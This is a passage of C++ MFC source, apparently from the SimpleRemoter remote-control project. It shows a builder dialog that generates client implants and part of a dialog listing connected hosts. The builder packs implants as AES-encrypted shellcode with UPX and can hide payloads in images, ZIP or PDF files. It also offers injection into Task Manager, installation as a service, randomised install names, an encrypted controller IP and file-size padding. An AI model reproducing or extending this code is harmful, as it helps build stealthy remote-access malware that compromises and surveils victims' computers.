int srcLen = dwFileSize;
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
generate_random_iv(sc->aes_key, 16);
generate_random_iv(sc->aes_iv, 16);
std::string key, iv;
for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
if (srcLen <= 8 * 1024 * 1024) {
memcpy(sc->data, srcData, srcLen);
sc->len = srcLen;
}
SAFE_DELETE_ARRAY(srcData);
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
strSeverFile.ReleaseBuffer();
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
if (r && sel == CLIENT_COMP_SC_AES_OLD_UPX) {
upx = ReleaseUPX();
if (!upx.empty()) {
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
}
}
}
}
}
SAFE_DELETE_ARRAY(data);
}
else if (sel == CLIENT_SHELLCODE_BINARY) { // Shellcode 裸数据
LPBYTE srcData = (LPBYTE)szBuffer;
int srcLen = dwFileSize;
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".bin"));
strSeverFile.ReleaseBuffer();
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)srcData, srcLen);
SAFE_DELETE_ARRAY(srcData);
}
}
int size = m_SliderClientSize.GetPos() * 2.56 * 1024 * 1024;
if (size > 0) {
std::vector<char> padding(size, time(0)%256);
WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1);
}
MessageBoxL(_TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return;
} catch (CMemoryException* e) {
char err[100];
e->GetErrorMessage(err, sizeof(err));
MessageBoxL(_TR("内存异常:") + CString(err), "异常", MB_ICONERROR);
} catch (CFileException* e) {
char err[100];
e->GetErrorMessage(err, sizeof(err));
MessageBoxL(_TR("文件异常:") + CString(err), "异常", MB_ICONERROR);
} catch (CException* e) {
char err[100];
e->GetErrorMessage(err, sizeof(err));
MessageBoxL(_TR("其他异常:") + CString(err), "异常", MB_ICONERROR);
}
SAFE_DELETE_ARRAY(szBuffer);
__super::OnOK();
}
BOOL CBuildDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_OTHER_ITEM, _TR("未选择文件"));
SetDlgItemText(IDC_STATIC_PAYLOAD, _TR("载荷类型:"));
SetDlgItemText(IDC_STATIC_PAYLOAD2, _TR("安装目录:"));
SetDlgItemText(IDC_STATIC_PAYLOAD3, _TR("程序名称:"));
SetDlgItemText(IDC_STATIC_DOWNLOAD, _TR("下载地址(默认本机):"));
SetDlgItemText(IDC_STATIC_BUILD_SERVICE, _TR("服务程序:"));
SetDlgItemText(IDC_STATIC_BUILD_ARCH, _TR("架构:"));
SetDlgItemText(IDC_STATIC_BUILD_MODE, _TR("模式:"));
SetDlgItemText(IDC_STATIC_BUILD_HOST_IP, _TR("主控IP地址:"));
SetDlgItemText(IDC_STATIC_BUILD_PROTOCOL, _TR("协议:"));
SetDlgItemText(IDC_STATIC_BUILD_ENCRYPT, _TR("加密:"));
SetDlgItemText(IDC_STATIC_BUILD_GROUP, _TR("分组名称:"));
SetDlgItemText(IDC_STATIC_BUILD_Port_2355, _TR("Port:"));
SetDlgItemText(IDC_STATIC_BUILD_PACK, _TR("加壳:"));
SetDlgItemText(IDC_STATIC_BUILD_TIP, _TR("提示: 多个上线地址用分号分隔99个字符以内。仅供学习和自用严禁用于非法目的使用。"));
SetDlgItemText(IDC_STATIC_BUILD_PADDING, _TR("程序增肥:"));
SetDlgItemText(IDC_STATIC_BUILD_GENERAL, _TR("通用"));
SetDlgItemText(IDC_STATIC_BUILD_ADVANCED, _TR("高级 (非必填项)"));
// 设置对话框标题和控件文本(解决英语系统乱码问题)
SetWindowText(_TR("生成服务端"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
SetDlgItemText(IDC_CHECK_FILESERVER, _TR("下载服务"));
// TODO: 在此添加额外的初始化
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_IP);
pEdit->LimitText(99);
m_ComboExe.InsertStringL(IndexTestRun_DLL, "TestRun - 磁盘DLL");
m_ComboExe.InsertStringL(IndexTestRun_MemDLL, "TestRun - 内存DLL");
m_ComboExe.InsertStringL(IndexTestRun_InjSC, "TestRun - 注入任务管理器");
m_ComboExe.InsertStringL(IndexGhost, "ghost.exe");
m_ComboExe.InsertStringL(IndexServerDll, "ServerDll.dll");
m_ComboExe.InsertStringL(IndexTinyRun, "TinyRun.dll");
m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务");
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
m_ComboBits.InsertStringL(0, "64位");
m_ComboBits.InsertStringL(1, "32位");
m_ComboBits.SetCurSel(0);
m_ComboRunType.InsertStringL(RUNNING_RANDOM, "随机上线");
m_ComboRunType.InsertStringL(RUNNING_PARALLEL, "并发上线");
m_ComboRunType.SetCurSel(RUNNING_RANDOM);
m_ComboProto.InsertStringL(PROTO_TCP, "TCP");
m_ComboProto.InsertStringL(PROTO_UDP, "UDP");
m_ComboProto.InsertStringL(PROTO_HTTP, "HTTP");
m_ComboProto.InsertStringL(PROTO_RANDOM, "随机");
m_ComboProto.InsertStringL(PROTO_KCP, "KCP");
m_ComboProto.SetCurSel(PROTO_TCP);
m_ComboEncrypt.InsertStringL(PROTOCOL_SHINE, "Shine");
m_ComboEncrypt.InsertStringL(PROTOCOL_HELL, "HELL");
m_ComboEncrypt.SetCurSel(PROTOCOL_HELL);
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_NONE, "");
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_UPX, "UPX");
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_SC_AES, "ShellCode AES");
m_ComboCompress.InsertStringL(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode");
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_SC_AES_OLD, "ShellCode AES<Old>");
m_ComboCompress.InsertStringL(CLIENT_SHELLCODE_BINARY, "ShellCode BIN");
m_ComboCompress.InsertStringL(CLIENT_COMP_SC_AES_OLD_UPX, "SC AES<Old> + UPX");
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD);
m_ComboPayload.InsertStringL(Payload_Self, "载荷写入当前程序尾部");
m_ComboPayload.InsertStringL(Payload_Raw, "载荷写入单独的二进制文件");
m_ComboPayload.InsertStringL(Payload_BMP, "载荷写入 BMP 格式图片");
m_ComboPayload.InsertStringL(Payload_JPG, "载荷写入 JPG 格式图片");
m_ComboPayload.InsertStringL(Payload_PNG, "载荷写入 PNG 格式图片");
m_ComboPayload.InsertStringL(Payload_ZIP, "载荷写入 ZIP 压缩包");
m_ComboPayload.InsertStringL(Payload_PDF, "载荷写入 PDF 文件");
m_ComboPayload.SetCurSel(Payload_Self);
m_ComboPayload.ShowWindow(SW_HIDE);
m_StaticPayload.ShowWindow(SW_HIDE);
m_BtnFileServer.ShowWindow(SW_HIDE);
m_BtnFileServer.SetCheck(BST_UNCHECKED);
m_StaticDownload.ShowWindow(SW_HIDE);
m_EditDownloadUrl.ShowWindow(SW_HIDE);
m_OtherItem.ShowWindow(SW_HIDE);
m_runasAdmin = FALSE;
m_MainMenu.LoadMenuA(IDR_MENU_BUILD);
TranslateMenu(&m_MainMenu);
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, MF_CHECKED);
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, MF_UNCHECKED);
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
BOOL b = THIS_CFG.GetInt("settings", "RandomName", 0);
if (b) {
m_EditInstallDir.SetWindowTextA(m_sInstallDir = GenerateRandomName(5 + time(0) % 10));
m_EditInstallName.SetWindowTextA(m_sInstallName = GenerateRandomName(5 + time(0) % 10));
}
SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED);
// 初始化默认 IP 和端口优先使用上级FRP配置
std::string effectiveIP;
int effectivePort;
CMy2015RemoteDlg::GetEffectiveMasterAddress(effectiveIP, effectivePort);
m_strIP = effectiveIP.c_str();
m_strPort.Format("%d", effectivePort);
UpdateData(FALSE);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
{
CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) {
MessageBoxL("Explorer 未正确初始化! 请稍后再试。", "提示", MB_ICONINFORMATION);
return "";
}
// 过滤器:显示所有文件和特定类型文件(例如文本文件)
CFileDialog fileDlg(isOpen, type, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, filter, AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
} catch (...) {
MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONINFORMATION);
return "";
}
if (ret == IDOK) {
CString name = fileDlg.GetPathName();
return name;
}
return "";
}
void CBuildDlg::OnCbnSelchangeComboExe()
{
auto n = m_ComboExe.GetCurSel();
if (n == OTHER_ITEM) {
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
if (!name.IsEmpty()) {
m_OtherItem.SetWindowTextA(name);
CFile File;
BOOL ret = File.Open(name, CFile::modeRead | CFile::typeBinary);
if (ret) {
int dwFileSize = File.GetLength();
LPBYTE szBuffer = new BYTE[dwFileSize];
File.Read(szBuffer, dwFileSize);
File.Close();
m_strIP = "127.0.0.1";
m_strPort = "6543";
UpdateData(FALSE);
SAFE_DELETE_ARRAY(szBuffer);
}
} else {
m_OtherItem.SetWindowTextA("未选择文件");
}
m_OtherItem.ShowWindow(SW_SHOW);
} else {
m_OtherItem.SetWindowTextA("");
m_OtherItem.ShowWindow(SW_HIDE);
}
}
void CBuildDlg::OnHelpParameters()
{
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#生成参数");
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
}
void CBuildDlg::OnHelpFindden()
{
CInputDialog dlg(this);
dlg.m_str = m_strFindden;
dlg.Init(_TR("生成标识"), _TR("请设置标识信息:"));
if (dlg.DoModal() == IDOK) {
m_strFindden = dlg.m_str;
}
}
void CBuildDlg::OnMenuEncryptIp()
{
m_strEncryptIP = m_strEncryptIP == _L(_T("")) ? _L(_T("")) : _L(_T(""));
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == _L(_T("")) ? MF_CHECKED : MF_UNCHECKED);
}
void CBuildDlg::OnClientRunasAdmin()
{
m_runasAdmin = !m_runasAdmin;
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED);
static bool warned = false;
if (m_runasAdmin && !warned) {
warned = true;
MessageBoxL(_L("安装Windows服务必须设置客户端运行时会请求管理员权限可能会触发系统UAC提示。\n")+
_L("如果未设置,则程序会以当前用户的权限运行,通常也能安装成功。"), "提示", MB_ICONINFORMATION);
}
}
void CBuildDlg::OnCbnSelchangeComboCompress()
{
m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
m_ComboPayload.SetFocus();
m_BtnFileServer.ShowWindow(
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
m_BtnFileServer.SetCheck(BST_UNCHECKED);
m_StaticDownload.ShowWindow(SW_HIDE);
m_EditDownloadUrl.ShowWindow(SW_HIDE);
static bool warned = false;
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) {
warned = true;
MessageBoxL(_L("使用 ShellCode AES 在程序尾部追加载荷,可能无法在某些服务器系统运行! ")+
_L("请自行验证。或者选择其他载荷,或者切换为 ShellCode AES Old 模式生成!"),
"提示", MB_ICONWARNING);
}
}
BOOL CBuildDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult)
{
TOOLTIPTEXTA* pTTT = (TOOLTIPTEXTA*)pNMHDR;
UINT nID = pNMHDR->idFrom;
if (pTTT->uFlags & TTF_IDISHWND) {
// idFrom is actually the HWND of the tool
nID = ::GetDlgCtrlID((HWND)nID);
}
if (nID == IDC_SLIDER_CLIENT_SIZE) {
int size = m_SliderClientSize.GetPos() * 2.56;
sprintf_s(pTTT->szText, "%dM", size);
return TRUE;
}
return FALSE;
}
void CBuildDlg::OnEnChangeEditInstallDir()
{
static bool bProcessing = false;
if (bProcessing) return;
bProcessing = true;
CString strText;
GetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
// Windows 文件名非法字符: \ / : * ? " < > |
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); // 纯文件名
bool bModified = false;
for (int i = strText.GetLength() - 1; i >= 0; i--) {
if (_tcschr(szInvalidChars, strText[i]) != NULL) {
strText.Delete(i);
bModified = true;
}
}
if (bModified) {
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR);
int nSel = pEdit->GetSel() & 0xFFFF; // 获取光标位置
SetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
pEdit->SetSel(nSel - 1, nSel - 1); // 恢复光标
}
bProcessing = false;
}
void CBuildDlg::OnEnChangeEditInstallName()
{
static bool bProcessing = false;
if (bProcessing) return;
bProcessing = true;
CString strText;
GetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
// Windows 文件名非法字符: \ / : * ? " < > |
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); // 纯文件名
bool bModified = false;
for (int i = strText.GetLength() - 1; i >= 0; i--) {
if (_tcschr(szInvalidChars, strText[i]) != NULL) {
strText.Delete(i);
bModified = true;
}
}
if (bModified) {
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME);
int nSel = pEdit->GetSel() & 0xFFFF; // 获取光标位置
SetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
pEdit->SetSel(nSel - 1, nSel - 1); // 恢复光标
}
bProcessing = false;
}
void CBuildDlg::OnEnKillfocusEditInstallDir()
{
CString strText;
GetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
if (strText.IsEmpty()) return;
if (!IsValidFileName(strText)) {
MessageBoxL(_L("文件名不合法,请检查:\n")+
_L("1. 不能包含 \\ / : * ? \" < > |\n")+
_L("2. 不能是系统保留名称 (CON, PRN 等)\n")+
_L("3. 不能以空格或点结尾"), "提示", MB_ICONWARNING);
GetDlgItem(IDC_EDIT_INSTALL_DIR)->SetFocus();
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR))->SetWindowTextA("");
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR))->SetSel(0, -1);
}
}
void CBuildDlg::OnEnKillfocusEditInstallName()
{
CString strText;
GetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
if (strText.IsEmpty()) return;
if (!IsValidFileName(strText)) {
MessageBoxL(_L("文件名不合法,请检查:\n")+
_L("1. 不能包含 \\ / : * ? \" < > |\n")+
_L("2. 不能是系统保留名称 (CON, PRN 等)\n")+
_L("3. 不能以空格或点结尾"), "提示", MB_ICONWARNING);
GetDlgItem(IDC_EDIT_INSTALL_NAME)->SetFocus();
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME))->SetWindowTextA("");
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME))->SetSel(0, -1);
}
}
void CBuildDlg::OnRandomName()
{
BOOL b = !THIS_CFG.GetInt("settings", "RandomName", 0);
m_EditInstallDir.SetWindowTextA(m_sInstallDir = b ? GenerateRandomName(5 + time(0) % 10) : "");
m_EditInstallName.SetWindowTextA(m_sInstallName = b ? GenerateRandomName(5 + time(0) % 10) : "");
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED);
THIS_CFG.SetInt("settings", "RandomName", b);
}
void CBuildDlg::OnBnClickedCheckFileserver()
{
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
m_StaticDownload.ShowWindow(checked ? SW_SHOW : SW_HIDE);
m_EditDownloadUrl.ShowWindow(checked ? SW_SHOW : SW_HIDE);
static bool warned = false;
if (!warned && checked) {
warned = true;
MessageBoxL(_L("请提供载荷的下载地址。下载地址前缀为 http 或 https。")+
_L("默认由本机提供载荷下载服务,请将载荷文件放在\"Payloads\"目录。")+
_L("由本机提供下载时,下载地址可以省略输入。"), "提示", MB_ICONINFORMATION);
}
}
void CBuildDlg::OnCbnSelchangeComboPayload()
{
m_BtnFileServer.ShowWindow(
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
m_BtnFileServer.SetCheck(BST_UNCHECKED);
m_StaticDownload.ShowWindow(SW_HIDE);
m_EditDownloadUrl.ShowWindow(SW_HIDE);
}

View File

@@ -0,0 +1,74 @@
#pragma once
#include "Buffer.h"
#include "LangManager.h"
LPBYTE ReadResource(int resourceId, DWORD& dwSize);
std::string ReleaseEXE(int resID, const char* name);
CString BuildPayloadUrl(const char* ip, const char* name);
// CBuildDlg 对话框
class CBuildDlg : public CDialogLang
{
DECLARE_DYNAMIC(CBuildDlg)
public:
CBuildDlg(CWnd* pParent = NULL); // 标准构造函数
virtual ~CBuildDlg();
// 对话框数据
enum { IDD = IDD_DIALOG_BUILD };
CMenu m_MainMenu;
BOOL m_runasAdmin;
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE);
BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
DECLARE_MESSAGE_MAP()
public:
CString m_strIP;
CString m_strPort;
afx_msg void OnBnClickedOk();
virtual BOOL OnInitDialog();
CComboBox m_ComboExe;
afx_msg void OnCbnSelchangeComboExe();
CStatic m_OtherItem;
CComboBox m_ComboBits;
CComboBox m_ComboRunType;
CComboBox m_ComboProto;
CComboBox m_ComboEncrypt;
afx_msg void OnHelpParameters();
CComboBox m_ComboCompress;
CString m_strFindden;
afx_msg void OnHelpFindden();
CEdit m_EditGroup;
CString m_sGroupName;
CString m_strEncryptIP;
afx_msg void OnMenuEncryptIp();
afx_msg void OnClientRunasAdmin();
CComboBox m_ComboPayload;
afx_msg void OnCbnSelchangeComboCompress();
CStatic m_StaticPayload;
CSliderCtrl m_SliderClientSize;
CEdit m_EditInstallDir;
CEdit m_EditInstallName;
CString m_sInstallDir;
CString m_sInstallName;
afx_msg void OnEnChangeEditInstallDir();
afx_msg void OnEnChangeEditInstallName();
afx_msg void OnEnKillfocusEditInstallDir();
afx_msg void OnEnKillfocusEditInstallName();
afx_msg void OnRandomName();
CButton m_BtnFileServer;
CStatic m_StaticDownload;
CEdit m_EditDownloadUrl;
CString m_sDownloadUrl;
afx_msg void OnBnClickedCheckFileserver();
afx_msg void OnCbnSelchangeComboPayload();
};

View File

@@ -0,0 +1,525 @@
// CClientListDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "afxdialogex.h"
#include "CClientListDlg.h"
#include "2015Remote.h"
// CClientListDlg 对话框
typedef struct {
LPCTSTR Name;
int Width;
float Percent;
} ColumnInfo;
static ColumnInfo g_ColumnInfos[] = {
{ _T("序号"), 40, 0.0f },
{ _T("ID"), 130, 0.0f },
{ _T("备注"), 60, 0.0f },
{ _T("计算机名称"), 105, 0.0f },
{ _T("位置"), 115, 0.0f },
{ _T("IP"), 95, 0.0f },
{ _T("系统"), 100, 0.0f },
{ _T("安装时间"), 115, 0.0f },
{ _T("最后登录"), 115, 0.0f },
{ _T("程序路径"), 150, 0.0f },
{ _T("关注"), 40, 0.0f },
{ _T("授权"), 40, 0.0f },
};
static const int g_nColumnCount = _countof(g_ColumnInfos);
// 列索引枚举(与 g_ColumnInfos 顺序一致)
enum ColumnIndex {
COL_NO = 0, // 序号
COL_ID, // ID
COL_NOTE, // 备注
COL_COMPUTER_NAME, // 计算机名称
COL_LOCATION, // 位置
COL_IP, // IP
COL_OS, // 系统
COL_INSTALL_TIME, // 安装时间
COL_LAST_LOGIN, // 最后登录
COL_PROGRAM_PATH, // 程序路径
COL_LEVEL, // 关注
COL_AUTH, // 授权
};
// ========== 分组字段配置 ==========
// 可用的分组字段枚举
enum GroupField {
GF_IP,
GF_ComputerName,
GF_OsName,
GF_Location,
GF_ProgramPath,
};
// 分组字段配置:字段枚举 + 对应的列索引
struct GroupFieldConfig {
GroupField Field;
int ColumnIndex;
};
// ★★★ 修改这里即可改变分组方式 ★★★
static GroupFieldConfig g_GroupFieldConfigs[] = {
{ GF_IP, COL_IP }, // 按 IP 分组
{ GF_ComputerName, COL_COMPUTER_NAME }, // 按 计算机名称 分组
// { GF_OsName, COL_OS }, // 取消注释:增加按操作系统分组
// { GF_Location, COL_LOCATION }, // 取消注释:增加按位置分组
};
static const int g_nGroupFieldCount = _countof(g_GroupFieldConfigs);
// 根据字段枚举获取 ClientValue 中的值
static CString GetFieldValue(const ClientValue& val, GroupField field)
{
switch (field) {
case GF_IP:
return CString(val.IP);
case GF_ComputerName:
return CString(val.ComputerName);
case GF_OsName:
return CString(val.OsName);
case GF_Location:
return CString(val.Location);
case GF_ProgramPath:
return CString(val.ProgramPath);
default:
return _T("");
}
}
// 比较两个客户端的指定列,返回 <0, 0, >0
static int CompareClientByColumn(const std::pair<ClientKey, ClientValue>& a,
const std::pair<ClientKey, ClientValue>& b,
int nColumn)
{
switch (nColumn) {
case COL_ID:
return (a.first < b.first) ? -1 : ((a.first > b.first) ? 1 : 0);
case COL_NOTE:
return strcmp(a.second.Note, b.second.Note);
case COL_COMPUTER_NAME:
return strcmp(a.second.ComputerName, b.second.ComputerName);
case COL_LOCATION:
return strcmp(a.second.Location, b.second.Location);
case COL_IP:
return strcmp(a.second.IP, b.second.IP);
case COL_OS:
return strcmp(a.second.OsName, b.second.OsName);
case COL_INSTALL_TIME:
return strcmp(a.second.InstallTime, b.second.InstallTime);
case COL_LAST_LOGIN:
return strcmp(a.second.LastLoginTime, b.second.LastLoginTime);
case COL_PROGRAM_PATH:
return strcmp(a.second.ProgramPath, b.second.ProgramPath);
case COL_LEVEL:
return a.second.Level - b.second.Level;
case COL_AUTH:
return a.second.Authorized - b.second.Authorized;
default:
return 0;
}
}
IMPLEMENT_DYNAMIC(CClientListDlg, CDialogEx)
CClientListDlg::CClientListDlg(_ClientList* clients, CMy2015RemoteDlg* pParent)
: g_ClientList(clients), g_pParent(pParent), CDialogLangEx(IDD_DIALOG_CLIENTLIST, pParent)
, m_nSortColumn(-1)
, m_bSortAscending(TRUE)
, m_nTipItem(-1)
, m_nTipSubItem(-1)
{
}
CClientListDlg::~CClientListDlg()
{
}
void CClientListDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_CLIENT_LIST, m_ClientList);
}
BEGIN_MESSAGE_MAP(CClientListDlg, CDialogEx)
ON_WM_SIZE()
ON_NOTIFY(LVN_COLUMNCLICK, IDC_CLIENT_LIST, &CClientListDlg::OnColumnClick)
ON_NOTIFY(NM_CLICK, IDC_CLIENT_LIST, &CClientListDlg::OnListClick)
END_MESSAGE_MAP()
// CClientListDlg 消息处理程序
BOOL CClientListDlg::OnInitDialog()
{
__super::OnInitDialog();
// 设置对话框标题(解决英语系统乱码问题)
SetWindowText(_TR("历史主机"));
HICON hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_MACHINE));
SetIcon(hIcon, FALSE);
// 设置扩展样式
m_ClientList.SetExtendedStyle(
LVS_EX_FULLROWSELECT | // 整行选中
LVS_EX_GRIDLINES // 显示网格线
);
// 初始化ToolTip
m_ToolTip.Create(this, TTS_ALWAYSTIP | TTS_NOPREFIX);
m_ToolTip.AddTool(&m_ClientList);
m_ToolTip.SetMaxTipWidth(500);
m_ToolTip.SetDelayTime(TTDT_AUTOPOP, 10000);
m_ToolTip.Activate(TRUE);
// 设置配置键名
m_ClientList.SetConfigKey(_T("ClientList"));
// 添加列(第一列序号不允许隐藏)
for (int i = 0; i < g_nColumnCount; i++) {
BOOL bCanHide = (i != COL_NO); // 序号列不允许隐藏
m_ClientList.AddColumn(i, _L(g_ColumnInfos[i].Name), g_ColumnInfos[i].Width, LVCFMT_LEFT, bCanHide);
}
// 初始化列(计算百分比、加载配置、应用列宽)
m_ClientList.InitColumns();
// 首次加载数据
RefreshClientList();
return TRUE;
}
void CClientListDlg::RefreshClientList()
{
m_clients = g_ClientList->GetAll(); // 保存到成员变量
BuildGroups(); // 构建分组
m_ClientList.SetRedraw(FALSE);
DisplayClients();
m_ClientList.SetRedraw(TRUE);
m_ClientList.Invalidate();
}
void CClientListDlg::BuildGroups()
{
// 保留已有分组的展开状态
std::map<GroupKey, BOOL> expandedStates;
for (const auto& pair : m_groups) {
expandedStates[pair.first] = pair.second.bExpanded;
}
m_groups.clear();
// 根据配置的字段进行分组
for (const auto& client : m_clients) {
GroupKey key;
for (int i = 0; i < g_nGroupFieldCount; i++) {
key.Values.push_back(GetFieldValue(client.second, g_GroupFieldConfigs[i].Field));
}
if (m_groups.find(key) == m_groups.end()) {
GroupInfo info;
info.GroupId = 0; // 显示时重新编号
// 恢复展开状态,新分组默认收起
auto it = expandedStates.find(key);
info.bExpanded = (it != expandedStates.end()) ? it->second : FALSE;
m_groups[key] = info;
}
m_groups[key].Clients.push_back(client);
}
}
void CClientListDlg::DisplayClients()
{
m_ClientList.DeleteAllItems();
// 创建分组指针列表用于排序
std::vector<std::pair<const GroupKey, GroupInfo>*> sortedGroups;
for (auto& pair : m_groups) {
sortedGroups.push_back(&pair);
}
// 如果有排序列,按第一个设备的该列值排序
if (m_nSortColumn >= 0) {
int sortCol = m_nSortColumn;
BOOL ascending = m_bSortAscending;
std::sort(sortedGroups.begin(), sortedGroups.end(),
[sortCol, ascending](const std::pair<const GroupKey, GroupInfo>* a,
const std::pair<const GroupKey, GroupInfo>* b) {
// 取每个分组的第一个设备进行比较
const auto& clientA = a->second.Clients[0];
const auto& clientB = b->second.Clients[0];
int result = CompareClientByColumn(clientA, clientB, sortCol);
return ascending ? (result < 0) : (result > 0);
});
}
int nRow = 0;
int nGroupIndex = 0;
for (auto* pPair : sortedGroups) {
const GroupKey& groupKey = pPair->first;
GroupInfo& groupInfo = pPair->second;
nGroupIndex++;
groupInfo.GroupId = nGroupIndex; // 按显示顺序重新编号
int nItem;
size_t clientCount = groupInfo.Clients.size();
// 只有一个设备时,直接显示设备详情
if (clientCount == 1) {
const ClientKey& key = groupInfo.Clients[0].first;
const ClientValue& val = groupInfo.Clients[0].second;
CString strNo;
strNo.FormatL(_T("%d"), groupInfo.GroupId);
CString strID;
strID.FormatL(_T("%llu"), key);
CString strLevel;
strLevel.FormatL(_T("%d"), val.Level);
CString strAuth = val.Authorized ? _T("Y") : _T("N");
nItem = m_ClientList.InsertItem(nRow, strNo);
m_ClientList.SetItemText(nItem, COL_ID, strID);
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
m_ClientList.SetItemText(nItem, COL_IP, val.IP);
m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
nRow++;
} else {
// 多个设备时,显示可展开的分组行
CString strNo;
strNo.FormatL(_T("%d"), groupInfo.GroupId);
CString strCount;
strCount.FormatL(_T("%s (%d\u53f0\u8bbe\u5907)"), groupInfo.bExpanded ? _T("-") : _T("+"), (int)clientCount);
nItem = m_ClientList.InsertItem(nRow, strNo);
m_ClientList.SetItemText(nItem, COL_ID, strCount);
// 清空所有列
